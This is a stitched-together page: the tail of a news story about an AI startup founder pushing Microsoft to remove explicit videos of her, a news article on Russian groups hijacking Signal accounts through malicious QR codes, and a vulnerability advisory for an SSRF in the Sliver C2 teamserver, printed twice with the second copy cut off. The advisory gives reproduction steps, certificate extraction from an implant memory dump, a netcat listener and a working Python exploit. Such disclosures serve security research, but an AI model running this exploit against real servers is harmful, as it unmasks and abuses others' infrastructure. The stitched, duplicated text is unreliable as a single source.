Microsoft’s Gregoire says she will look into these concerns and is open to dialogue. The company hopes to stem the need for takedowns, in part, by scaring off perpetrators. This past December, Microsoft sued a group of 10 unknown individuals who allegedly circumvented safeguards on Azure and used an AI tool to generate offensive images, including some Gregoire described as sexually harmful. “We don't want our services to be abused to cause harm,” she says.

For Liu, the challenges haven’t ended. Videos and images depicting her naked remain available on at least one self-styled “free porn” website, according to links reviewed by WIRED. She also has had to pour her savings into developing Alecto AI because investor support has been lackluster. Some investors allegedly told her not to use her own experience in her pitch. Liu says that when she pitched one male-female pair who were considering investing, they burst into laughter at the idea of building a business around the use of AI to detect online image abuse. Even responding that she had almost killed herself after being victimized did little to sway them, Liu says.

In December 2024, more than four and a half years since her nightmare began, Liu found a glimmer of hope. A proposal she has advocated for in the US Congress to require websites to remove unwanted explicit images within 48 hours nearly ended up on then-President Joe Biden’s desk. It was ultimately shelved, but real progress had never felt so close. Liu and a bipartisan group of over 20 lawmakers haven’t given up; in January, they reintroduced the proposal, which threatens potential penalties of up to $50,000 per violation. Despite objections from rights groups worried about over-censorship, the bill passed the Senate last week. Even Microsoft has gotten behind it.

_If you or someone you know needs help, call 1-800-273-8255_ _for free, 24-hour support from the National Suicide Prevention Lifeline. You can also text HOME to 741-741 for the Crisis Text Line. Outside the US, visit the International Association for Suicide Prevention_ _for crisis centers around the world._

How One AI Startup Founder Cornered Microsoft Into Finally Taking Down Explicit Videos of Her

These sorts of attacks reveal growing adversary interest in secure messaging apps used by high-value targets for communication, Google says.

Source: aily\_creativity via Shutterstock

Multiple Russia-aligned threat groups are actively targeting the Signal Messenger application of individuals likely to exchange sensitive military and government communications related to the country's war with Ukraine.

For now, the activity appears limited to persons of interest to Russia's intelligence services, according to researchers at Google's Threat Intelligence Group (GTIG), who spotted it recently. But the tactics the threat actors are using in the campaign could well serve as a blueprint for other groups to follow in broader attacks on Signal, WhatsApp, Telegram, and other popular messaging apps, GTIG warned in a blog post this week.

**Likely to Become More Prevalent**

"We anticipate the tactics and methods used to target Signal will grow in prevalence in the near-term and proliferate to additional threat actors and regions outside the Ukrainian theater of war," Google threat analyst Dan Black wrote in the post.

Two of the Russian cyber-espionage groups that Google observed targeting Signal are UNC5792 — a threat actor that Ukraine's CERT tracks as UAC-0195 — and UNC4221 (aka UAC-0185). The goal of the attackers in both cases is to trick targeted victims into unknowingly linking their Signal account to an attacker-controlled device so any incoming messages are simultaneously available on the linked device.  

The attacks are taking advantage of "linked devices," a feature of the Signal app that allows users to securely connect and synchronize their account across multiple devices. However, the tactics that each threat group uses to get targets to unwittingly link their accounts have been slightly different.

UNC5782's ploy has been to send invitations asking targeted individuals to join a Signal group by sharing a malicious QR code with them. While the invitations look identical to Signal's group invite, the threat actors have modified them so that anyone social-engineered into scanning the QR code ends up linking their account to a UNC592-controlled device instead.

The other threat group, UNC4221, is using a customized phishing kit that impersonates parts of Kropyva, an application that Ukraine's military uses for artillery guidance, to try and social-engineer Signal Messenger users of interest. The threat actor has established Kropyva-themed phishing sites with the QR code directly embedded on them. It has also set up phishing sites pretending to contain legitimate Signal instructions for device linking to encourage scam victims into scanning their malicious QR code.

**Broad Threat Actor Interest**

Google identified UNC4221 and UNC5782 as two of several Russian and Belarusian groups that are targeting Signal Messenger to spy on persons of interest. Not all attacks by UNC4221 and UNC578 have involved device linking. Russia's infamous Sandworm cyber-sabotage group (which Google tracks as APT44) has been stealing Signal messages from a target's Signal database or local storage files, using a combination of malware tools. Similarly, Turla, a threat actor that the US government has tied to Russia's Federal Security Service (FSB), is doing the same using a lightweight PowerShell script that it deploys after gaining access to a target environment. Another threat actor from the region targeting Signal Messenger, according to Google, is Belarus-linked UNC1151, which uses the Robocopy Windows file-copying tool to copy and store Signal messages and attachments for future theft.

The flurry of activity targeting Signal is a sign of broader attacker interest in secure messaging apps used by those in espionage and intelligence gathering, including politicians, military personnel, activists, privacy advocates, and journalists. The apps' security features, which include end-to-end encryption of text, voice, and video with minimal data collection practices, have made it a popular tool for at-risk individuals and communities. It has also made the app "a high-value target for adversaries seeking to intercept sensitive information that could fulfill a range of different intelligence requirements," Google's Black wrote.

Signal is not the only target. Russian groups have also targeted Telegram and WhatsApp users in the same way, Black said. He pointed to a recent Microsoft report on attacks by Russian group Star Blizzard (aka Coldriver, Blue Charlie, Callisto, and UNC4057) that targeted WhatsApp accounts belonging to current and former government officials and diplomats.

Significantly, attacks targeting WhatsApp can affect businesses as well. Although WhatsApp — like Signal, Telegram and other messenger apps — is primarily consumer-focused, numerous businesses worldwide use the app. WhatsApp even has a business version that it has positioned as a tool that businesses can use to engage with customers, accelerate sales, and deliver customer support.

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Russian Groups Target Signal Messenger in Spy Campaign

### Summary
The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so


### Reproduction steps
Run server
```
wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux
./sliver-server_linux
```

Generate binary
```
generate --mtls 127.0.0.1:8443
```

Run it on windows, then `Task manager -> find process -> Create memory dump file`


Install RogueSliver and get the certs
```
git clone https://github.com/ACE-Responder/RogueSliver.git
pip3 install -r requirements.txt --break-system-packages
python3 ExtractCerts.py implant.dmp
```

Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc
```
nc -nvlp 1111
```

Run the poc (pasted at bottom of this file)
```
python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
python3 poc.py 192.168.1.33 8443 44.221.186.72 1111
```


### Details
We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed
```go
func handleSliverConnection(conn net.Conn) {
	mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
	implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

	defer func() {
		mtlsLog.Debugf("mtls connection closing")
		conn.Close()
		implantConn.Cleanup()
	}()

	done := make(chan bool)
	go func() {
		defer func() {
			done <- true
		}()
		handlers := serverHandlers.GetHandlers()
		for {
			envelope, err := socketReadEnvelope(conn)
			if err != nil {
				mtlsLog.Errorf("Socket read error %v", err)
				return
			}
			implantConn.UpdateLastMessage()
			if envelope.ID != 0 {
				implantConn.RespMutex.RLock()
				if resp, ok := implantConn.Resp[envelope.ID]; ok {
					resp <- envelope // Could deadlock, maybe want to investigate better solutions
				}
				implantConn.RespMutex.RUnlock()
			} else if handler, ok := handlers[envelope.Type]; ok {
				mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
				go func() {
					respEnvelope := handler(implantConn, envelope.Data)
					if respEnvelope != nil {
						implantConn.Send <- respEnvelope
					}
				}()
			}
		}
	}()

Loop:
	for {
		select {
		case envelope := <-implantConn.Send:
			err := socketWriteEnvelope(conn, envelope)
			if err != nil {
				mtlsLog.Errorf("Socket write failed %v", err)
				break Loop
			}
		case <-done:
			break Loop
		}
	}
	mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}
```

The available handlers:
```go
func GetHandlers() map[uint32]ServerHandler {
	return map[uint32]ServerHandler{
		// Sessions
		sliverpb.MsgRegister:    registerSessionHandler,
		sliverpb.MsgTunnelData:  tunnelDataHandler,
		sliverpb.MsgTunnelClose: tunnelCloseHandler,
		sliverpb.MsgPing:        pingHandler,
		sliverpb.MsgSocksData:   socksDataHandler,

		// Beacons
		sliverpb.MsgBeaconRegister: beaconRegisterHandler,
		sliverpb.MsgBeaconTasks:    beaconTasksHandler,

		// Pivots
		sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
		sliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,
	}
}
```

If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the `tunnelDataHandler` function
```go
// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)
	if session == nil {
		sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
		return nil
	}
	tunnelHandlerMutex.Lock()
	defer tunnelHandlerMutex.Unlock()
	tunnelData := &sliverpb.TunnelData{}
	proto.Unmarshal(data, tunnelData)

	sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)

	rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
	if rtunnel != nil && session.ID == rtunnel.SessionID {
		RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else if rtunnel != nil && session.ID != rtunnel.SessionID {
		sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
	} else if rtunnel == nil && tunnelData.CreateReverse == true {
		createReverseTunnelHandler(implantConn, data)
		//RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else {
		tunnel := core.Tunnels.Get(tunnelData.TunnelID)
		if tunnel != nil {
			if session.ID == tunnel.SessionID {
				tunnel.SendDataFromImplant(tunnelData)
			} else {
				sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
			}
		} else {
			sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
		}
	}

	return nil
}
```


The `createReverseTunnelHandler` reads the envelope, creating a socket for `req.Rportfwd.Host` and `req.Rportfwd.Port`.  It will write `recv.Data` to it
```go
func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)

	req := &sliverpb.TunnelData{}
	proto.Unmarshal(data, req)

	var defaultDialer = new(net.Dialer)

	remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)

	ctx, cancelContext := context.WithCancel(context.Background())

	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
	//dst, err := net.Dial("tcp", remoteAddress)
	if err != nil {
		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
			Closed:   true,
			TunnelID: req.TunnelID,
		})
		implantConn.Send <- &sliverpb.Envelope{
			Type: sliverpb.MsgTunnelClose,
			Data: tunnelClose,
		}
		cancelContext()
		return nil
	}

	if conn, ok := dst.(*net.TCPConn); ok {
		// {{if .Config.Debug}}
		//log.Printf("[portfwd] Configuring keep alive")
		// {{end}}
		conn.SetKeepAlive(true)
		// TODO: Make KeepAlive configurable
		conn.SetKeepAlivePeriod(1000 * time.Second)
	}

	tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
	rtunnels.AddRTunnel(tunnel)
	cleanup := func(reason error) {
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
		// {{end}}
		tunnel := rtunnels.GetRTunnel(tunnel.ID)
		rtunnels.RemoveRTunnel(tunnel.ID)
		dst.Close()
		cancelContext()
	}

	go func() {
		tWriter := tunnelWriter{
			tun:  tunnel,
			conn: implantConn,
		}
		// portfwd only uses one reader, hence the tunnel.Readers[0]
		n, err := io.Copy(tWriter, tunnel.Readers[0])
		_ = n // avoid not used compiler error if debug mode is disabled
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("[tunnel] Tunnel done, wrote %v bytes", n)
		// {{end}}

		cleanup(err)
	}()

	tunnelDataCache.Add(tunnel.ID, req.Sequence, req)

	// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
	// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
	// is used here whereas WriteSequence is used for data written back to the server

	// Go through cache and write all sequential data to the reader
	for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
		// {{end}}
		tunnel.Writer.Write(recv.Data)

		// Delete the entry we just wrote from the cache
		tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
		tunnel.IncReadSequence() // Increment sequence counter

		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("[message just received] %v", tunnelData)
		// {{end}}
	}

	//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
	//Send a Resend packet to have the msg resent from the cache
	if tunnelDataCache.Len(tunnel.ID) > 3 {
		data, err := proto.Marshal(&sliverpb.TunnelData{
			Sequence: tunnel.WriteSequence(), // The tunnel write sequence
			Ack:      tunnel.ReadSequence(),
			Resend:   true,
			TunnelID: tunnel.ID,
			Data:     []byte{},
		})
		if err != nil {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("[shell] Failed to marshal protobuf %s", err)
			// {{end}}
		} else {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
			// {{end}}
			implantConn.RequestResend(data)
		}
	}
	return nil
}
```



### Impact
For current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now

To exploit this for MTLS listeners, you will need MTLS keys
For HTTP listeners, you will need to generate valid nonce
Not sure about other transport types



### POC
POC code, it is not cleaned up at all, please forgive me
```python
#!/usr/bin/python
import sys
import time
import base64
import socket, ssl
from RogueSliver.consts import msgs
import random
import struct
import RogueSliver.sliver_pb2 as sliver
import json
import argparse
import uuid
from google.protobuf import json_format
from rich import print
import random
import string

ssl_ctx = ssl.create_default_context()
ssl_ctx.load_cert_chain(keyfile='certs/client.key',certfile='certs/client.crt')#,ca_certs='sliver/ca.crt')
ssl_ctx.load_verify_locations('certs/ca.crt')
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE



def generate_random_string(length=8):
    # Combine letters and digits
    characters = string.ascii_letters + string.digits
    # Generate random string
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def rand_unicode(junk_sz):
  junk = ''.join([chr(random.randint(0,2047)) for x in range(junk_sz)]).encode('utf-8','surrogatepass').decode()
  return(junk)

def junk_register(junk_sz):
  n = generate_random_string()
  register = {
        "Name": "chebuya"+n,
        "Hostname": "chebuya.local"+n,
        "Uuid": "uuid"+n,
        "Username": "username"+n,
        "Uid": "uid"+n,
        "Gid": "gid"+n,
        "Os": "os"+n,
        "Arch": "arch"+n,
        "Pid": 10,
        "Filename": "filename"+n,
        "ActiveC2": "activec2"+n,
        "Version": "version"+n,
        "ReconnectInterval": 60,
        "ConfigID": "config_id"+n,
        "PeerID": -1,
        "Locale": "locale" + n
  }

  return register



def make_ping_env():
  reg = sliver.Ping()
  json_format.Parse(json.dumps({}),reg)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('Ping')
  envelope.Data = reg.SerializeToString()

  return envelope



def make_rt_env():
    
    jdata = {
            "Data": "c3NyZiBwb2M=",
            "Closed": False,
            "Sequence": 0,
            "Ack": 0,
            "Resend": False,
            "CreateReverse": True,
            "rportfwd": {
                "Port": int(sys.argv[4]),
                "Host": sys.argv[3],
                "TunnelID": 0,
            },
            "TunnelID": 0,
    }



    reg = sliver.TunnelData()
    json_format.Parse(json.dumps(jdata),reg)
    envelope = sliver.Envelope()
    envelope.Type = msgs.index('TunnelData')
    envelope.Data = reg.SerializeToString()

    return envelope




def send_envelope(envelope,ip,port):
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    with ssl_ctx.wrap_socket(s,) as ssock:
      ssock.connect((ip,port))

      print(len(envelope.SerializeToString()))
      #data_len = struct.pack('!I', len(envelope.SerializeToString()) )
      data_len = struct.pack('I', len(envelope.SerializeToString()) )




      envelope3 = make_rt_env()
      data_len3 = struct.pack('I', len(envelope3.SerializeToString()) )

      print(data_len)

      ssock.write(data_len + envelope.SerializeToString()) 
      ssock.write(data_len3 + envelope3.SerializeToString())



    
      # No idea why this is reqauired
      while True:
          time.sleep(2)
          ssock.write(data_len3 + envelope3.SerializeToString())



def register_session(ip,port):
  print('[yellow]\[i][/yellow] Sending session registration.')
  reg = sliver.Register()
  json_format.Parse(json.dumps(junk_register(50)),reg)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('Register')
  envelope.Data = reg.SerializeToString()
  send_envelope(envelope,ip,port)

def register_beacon(ip,port):
  print('[yellow]\[i][/yellow] Sending beacon registration.')
  reg = sliver.BeaconRegister()
  reg.ID = str(uuid.uuid4())
  junk_sz = 50
  reg.Interval = random.randint(0,10*junk_sz)
  reg.Jitter = random.randint(0,10*junk_sz)
  reg.NextCheckin = random.randint(0,10*junk_sz)
  json_format.Parse(json.dumps(junk_register(junk_sz)),reg.Register)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('BeaconRegister')
  envelope.Data = reg.SerializeToString()
  send_envelope(envelope,ip,port)

description = '''
Flood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.
'''

if __name__ == '__main__':
  register_session(sys.argv[1], int(sys.argv[2]))
```

**Summary**

The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so

**Reproduction steps**

Run server

    wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
    chmod +x sliver-server_linux
    ./sliver-server_linux
    

Generate binary

    generate --mtls 127.0.0.1:8443
    

Run it on windows, then Task manager -> find process -> Create memory dump file

Install RogueSliver and get the certs

    git clone https://github.com/ACE-Responder/RogueSliver.git
    pip3 install -r requirements.txt --break-system-packages
    python3 ExtractCerts.py implant.dmp
    

Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc

    nc -nvlp 1111
    

Run the poc (pasted at bottom of this file)

    python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
    python3 poc.py 192.168.1.33 8443 44.221.186.72 1111
    

**Details**

We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed

func handleSliverConnection(conn net.Conn) {
	mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
	implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

	defer func() {
		mtlsLog.Debugf("mtls connection closing")
		conn.Close()
		implantConn.Cleanup()
	}()

	done := make(chan bool)
	go func() {
		defer func() {
			done <- true
		}()
		handlers := serverHandlers.GetHandlers()
		for {
			envelope, err := socketReadEnvelope(conn)
			if err != nil {
				mtlsLog.Errorf("Socket read error %v", err)
				return
			}
			implantConn.UpdateLastMessage()
			if envelope.ID != 0 {
				implantConn.RespMutex.RLock()
				if resp, ok := implantConn.Resp\[envelope.ID\]; ok {
					resp <- envelope // Could deadlock, maybe want to investigate better solutions
				}
				implantConn.RespMutex.RUnlock()
			} else if handler, ok := handlers\[envelope.Type\]; ok {
				mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
				go func() {
					respEnvelope := handler(implantConn, envelope.Data)
					if respEnvelope != nil {
						implantConn.Send <- respEnvelope
					}
				}()
			}
		}
	}()

Loop:
	for {
		select {
		case envelope := <-implantConn.Send:
			err := socketWriteEnvelope(conn, envelope)
			if err != nil {
				mtlsLog.Errorf("Socket write failed %v", err)
				break Loop
			}
		case <-done:
			break Loop
		}
	}
	mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}

The available handlers:

func GetHandlers() map\[uint32\]ServerHandler {
	return map\[uint32\]ServerHandler{
		// Sessions
		sliverpb.MsgRegister:    registerSessionHandler,
		sliverpb.MsgTunnelData:  tunnelDataHandler,
		sliverpb.MsgTunnelClose: tunnelCloseHandler,
		sliverpb.MsgPing:        pingHandler,
		sliverpb.MsgSocksData:   socksDataHandler,

		// Beacons
		sliverpb.MsgBeaconRegister: beaconRegisterHandler,
		sliverpb.MsgBeaconTasks:    beaconTasksHandler,

		// Pivots
		sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
		sliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,
	}
}

If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the tunnelDataHandler function

// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn \*core.ImplantConnection, data \[\]byte) \*sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)
	if session \== nil {
		sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
		return nil
	}
	tunnelHandlerMutex.Lock()
	defer tunnelHandlerMutex.Unlock()
	tunnelData := &sliverpb.TunnelData{}
	proto.Unmarshal(data, tunnelData)

	sessionHandlerLog.Debugf("\[DATA\] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)

	rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
	if rtunnel != nil && session.ID \== rtunnel.SessionID {
		RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else if rtunnel != nil && session.ID != rtunnel.SessionID {
		sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
	} else if rtunnel \== nil && tunnelData.CreateReverse \== true {
		createReverseTunnelHandler(implantConn, data)
		//RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else {
		tunnel := core.Tunnels.Get(tunnelData.TunnelID)
		if tunnel != nil {
			if session.ID \== tunnel.SessionID {
				tunnel.SendDataFromImplant(tunnelData)
			} else {
				sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
			}
		} else {
			sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
		}
	}

	return nil
}

The createReverseTunnelHandler reads the envelope, creating a socket for req.Rportfwd.Host and req.Rportfwd.Port. It will write recv.Data to it

func createReverseTunnelHandler(implantConn \*core.ImplantConnection, data \[\]byte) \*sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)

	req := &sliverpb.TunnelData{}
	proto.Unmarshal(data, req)

	var defaultDialer \= new(net.Dialer)

	remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)

	ctx, cancelContext := context.WithCancel(context.Background())

	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
	//dst, err := net.Dial("tcp", remoteAddress)
	if err != nil {
		tunnelClose, \_ := proto.Marshal(&sliverpb.TunnelData{
			Closed:   true,
			TunnelID: req.TunnelID,
		})
		implantConn.Send <- &sliverpb.Envelope{
			Type: sliverpb.MsgTunnelClose,
			Data: tunnelClose,
		}
		cancelContext()
		return nil
	}

	if conn, ok := dst.(\*net.TCPConn); ok {
		// {{if .Config.Debug}}
		//log.Printf("\[portfwd\] Configuring keep alive")
		// {{end}}
		conn.SetKeepAlive(true)
		// TODO: Make KeepAlive configurable
		conn.SetKeepAlivePeriod(1000 \* time.Second)
	}

	tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
	rtunnels.AddRTunnel(tunnel)
	cleanup := func(reason error) {
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("\[portfwd\] Closing tunnel %d (%s)", tunnel.ID, reason)
		// {{end}}
		tunnel := rtunnels.GetRTunnel(tunnel.ID)
		rtunnels.RemoveRTunnel(tunnel.ID)
		dst.Close()
		cancelContext()
	}

	go func() {
		tWriter := tunnelWriter{
			tun:  tunnel,
			conn: implantConn,
		}
		// portfwd only uses one reader, hence the tunnel.Readers\[0\]
		n, err := io.Copy(tWriter, tunnel.Readers\[0\])
		\_ \= n // avoid not used compiler error if debug mode is disabled
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("\[tunnel\] Tunnel done, wrote %v bytes", n)
		// {{end}}

		cleanup(err)
	}()

	tunnelDataCache.Add(tunnel.ID, req.Sequence, req)

	// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
	// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
	// is used here whereas WriteSequence is used for data written back to the server

	// Go through cache and write all sequential data to the reader
	for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok \= tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("\[tunnel\] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
		// {{end}}
		tunnel.Writer.Write(recv.Data)

		// Delete the entry we just wrote from the cache
		tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
		tunnel.IncReadSequence() // Increment sequence counter

		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("\[message just received\] %v", tunnelData)
		// {{end}}
	}

	//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
	//Send a Resend packet to have the msg resent from the cache
	if tunnelDataCache.Len(tunnel.ID) \> 3 {
		data, err := proto.Marshal(&sliverpb.TunnelData{
			Sequence: tunnel.WriteSequence(), // The tunnel write sequence
			Ack:      tunnel.ReadSequence(),
			Resend:   true,
			TunnelID: tunnel.ID,
			Data:     \[\]byte{},
		})
		if err != nil {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("\[shell\] Failed to marshal protobuf %s", err)
			// {{end}}
		} else {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("\[tunnel\] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
			// {{end}}
			implantConn.RequestResend(data)
		}
	}
	return nil
}

**Impact**

For current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now

To exploit this for MTLS listeners, you will need MTLS keys  
For HTTP listeners, you will need to generate valid nonce  
Not sure about other transport types

**POC**

POC code, it is not cleaned up at all, please forgive me

#!/usr/bin/python
import sys
import time
import base64
import socket, ssl
from RogueSliver.consts import msgs
import random
import struct
import RogueSliver.sliver\_pb2 as sliver
import json
import argparse
import uuid
from google.protobuf import json\_format
from rich import print
import random
import string

ssl\_ctx \= ssl.create\_default\_context()
ssl\_ctx.load\_cert\_chain(keyfile\='certs/client.key',certfile\='certs/client.crt')#,ca\_certs='sliver/ca.crt')
ssl\_ctx.load\_verify\_locations('certs/ca.crt')
ssl\_ctx.check\_hostname \= False
ssl\_ctx.verify\_mode \= ssl.CERT\_NONE

def generate\_random\_string(length\=8):
    \# Combine letters and digits
    characters \= string.ascii\_letters + string.digits
    \# Generate random string
    random\_string \= ''.join(random.choice(characters) for \_ in range(length))
    return random\_string

def rand\_unicode(junk\_sz):
  junk \= ''.join(\[chr(random.randint(0,2047)) for x in range(junk\_sz)\]).encode('utf-8','surrogatepass').decode()
  return(junk)

def junk\_register(junk\_sz):
  n \= generate\_random\_string()
  register \= {
        "Name": "chebuya"+n,
        "Hostname": "chebuya.local"+n,
        "Uuid": "uuid"+n,
        "Username": "username"+n,
        "Uid": "uid"+n,
        "Gid": "gid"+n,
        "Os": "os"+n,
        "Arch": "arch"+n,
        "Pid": 10,
        "Filename": "filename"+n,
        "ActiveC2": "activec2"+n,
        "Version": "version"+n,
        "ReconnectInterval": 60,
        "ConfigID": "config\_id"+n,
        "PeerID": \-1,
        "Locale": "locale" + n
  }

  return register

def make\_ping\_env():
  reg \= sliver.Ping()
  json\_format.Parse(json.dumps({}),reg)
  envelope \= sliver.Envelope()
  envelope.Type \= msgs.index('Ping')
  envelope.Data \= reg.SerializeToString()

  return envelope

def make\_rt\_env():
    
    jdata \= {
            "Data": "c3NyZiBwb2M=",
            "Closed": False,
            "Sequence": 0,
            "Ack": 0,
            "Resend": False,
            "CreateReverse": True,
            "rportfwd": {
                "Port": int(sys.argv\[4\]),
                "Host": sys.argv\[3\],
                "TunnelID": 0,
            },
            "TunnelID": 0,
    }



    reg \= sliver.TunnelData()
    json\_format.Parse(json.dumps(jdata),reg)
    envelope \= sliver.Envelope()
    envelope.Type \= msgs.index('TunnelData')
    envelope.Data \= reg.SerializeToString()

    return envelope

def send\_envelope(envelope,ip,port):
  with socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) as s:
    with ssl\_ctx.wrap\_socket(s,) as ssock:
      ssock.connect((ip,port))

      print(len(envelope.SerializeToString()))
      #data\_len = struct.pack('!I', len(envelope.SerializeToString()) )
      data\_len \= struct.pack('I', len(envelope.SerializeToString()) )




      envelope3 \= make\_rt\_env()
      data\_len3 \= struct.pack('I', len(envelope3.SerializeToString()) )

      print(data\_len)

      ssock.write(data\_len + envelope.SerializeToString()) 
      ssock.write(data\_len3 + envelope3.SerializeToString())



    
      \# No idea why this is reqauired
      while True:
          time.sleep(2)
          ssock.write(data\_len3 + envelope3.SerializeToString())

def register\_session(ip,port):
  print('\[yellow\]\\\[i\]\[/yellow\] Sending session registration.')
  reg \= sliver.Register()
  json\_format.Parse(json.dumps(junk\_register(50)),reg)
  envelope \= sliver.Envelope()
  envelope.Type \= msgs.index('Register')
  envelope.Data \= reg.SerializeToString()
  send\_envelope(envelope,ip,port)

def register\_beacon(ip,port):
  print('\[yellow\]\\\[i\]\[/yellow\] Sending beacon registration.')
  reg \= sliver.BeaconRegister()
  reg.ID \= str(uuid.uuid4())
  junk\_sz \= 50
  reg.Interval \= random.randint(0,10\*junk\_sz)
  reg.Jitter \= random.randint(0,10\*junk\_sz)
  reg.NextCheckin \= random.randint(0,10\*junk\_sz)
